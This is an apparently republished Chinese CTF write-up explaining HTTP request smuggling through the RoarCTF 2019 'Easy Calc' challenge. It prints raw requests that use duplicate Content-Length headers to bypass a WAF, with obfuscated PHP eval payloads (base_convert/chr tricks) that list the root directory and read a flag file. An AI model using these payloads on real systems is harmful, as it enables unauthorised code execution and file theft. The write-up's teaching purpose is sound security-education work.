CTF中的请求走私

admin 2024年1月16日22:22:44评论10 views字数 2460阅读8分12秒阅读模式

文章前言

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列方式的技术,它允许攻击者绕过安全控制获得对敏感数据的未经授权的访问并直接危害其他应用程序用户,请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况,主要是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即Content-LengthTransfer-Encoding标头,请求走私主要与HTTP/1请求相关,但是支持HTTP/2的网站可能容易受到攻击,具体取决于其后端架构,本篇文章我们主要介绍一些CTF中常见的请求走私题目并对请求走私的利用实现一个强化效果

案例介绍

题目来源:[RoarCTF 2019]Easy Calc

靶机地址:
https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Calc

解题记录:
Step 1:访问上面的链接启动演练靶场

CTF中的请求走私

CTF中的请求走私

Step 2:随后访问靶机地址会看到如下界面

CTF中的请求走私

简单尝试发现输入计算式会成功计算出结果,属实是一个计算器

CTF中的请求走私

随后抱着好奇心去查看了一下源代码,发现一个calc.php

CTF中的请求走私

访问calc.php文件后可以看到这里如果我们没有传入num参数那么久会直接显示当前的文件内容,如果我们有传入num参数,那么会对改参数做一个黑名单的过滤处理,随后通过eval执行命令输出内容,可以看到这里其实是有一个代码执行的问题的,但是要想利用的关键点还是看如何去突破过滤

CTF中的请求走私

我们初步尝试发现传入数字时可以正常访问

CTF中的请求走私

当我们传入字符串时会发现这里会被直接给拦截,而我们的过滤中并没有针对我们此的过滤函数,结合之前我们查看网页源码看到的提示"<!--I've set up WAF to ensure security.-->"初步猜测是有WAF在作祟

CTF中的请求走私

接下来我们尝试一手请求走私是否存在,构造一个CL-CL:

GET /calc.php?num=phpinfo(); HTTP/1.1Host: node5.buuoj.cn:27797Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-Length:68Content-Length:5num=1

CTF中的请求走私

CTF中的请求走私

随后进行列目录文件

  • 36进制scandir->10进制61693386291
  • 36进制readfile->10进制2146934604002
  • ascii码/->16进制2f->10进制47
  • 36进制f1agg->10进制25254448(读取根目录得到的)
GET /calc.php?num=var_dump(base_convert(61693386291,10,36)(chr(47))) HTTP/1.1Host: node5.buuoj.cn:27797Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-Length:68Content-Length:5num=1

CTF中的请求走私

读取flag内容:

GET /calc.php?num=var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36))) HTTP/1.1Host: node5.buuoj.cn:27797Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-Length:68Content-Length:5num=1

CTF中的请求走私

文末小结

本篇文章主要介绍了请求走私的CTF实体对此进行了一个简单的演示说明~

原文始发于微信公众号(七芒星实验室):CTF中的请求走私

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月16日22:22:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF中的请求走私http://cn-sec.com/archives/2400287.html

发表评论

匿名网友 填写信息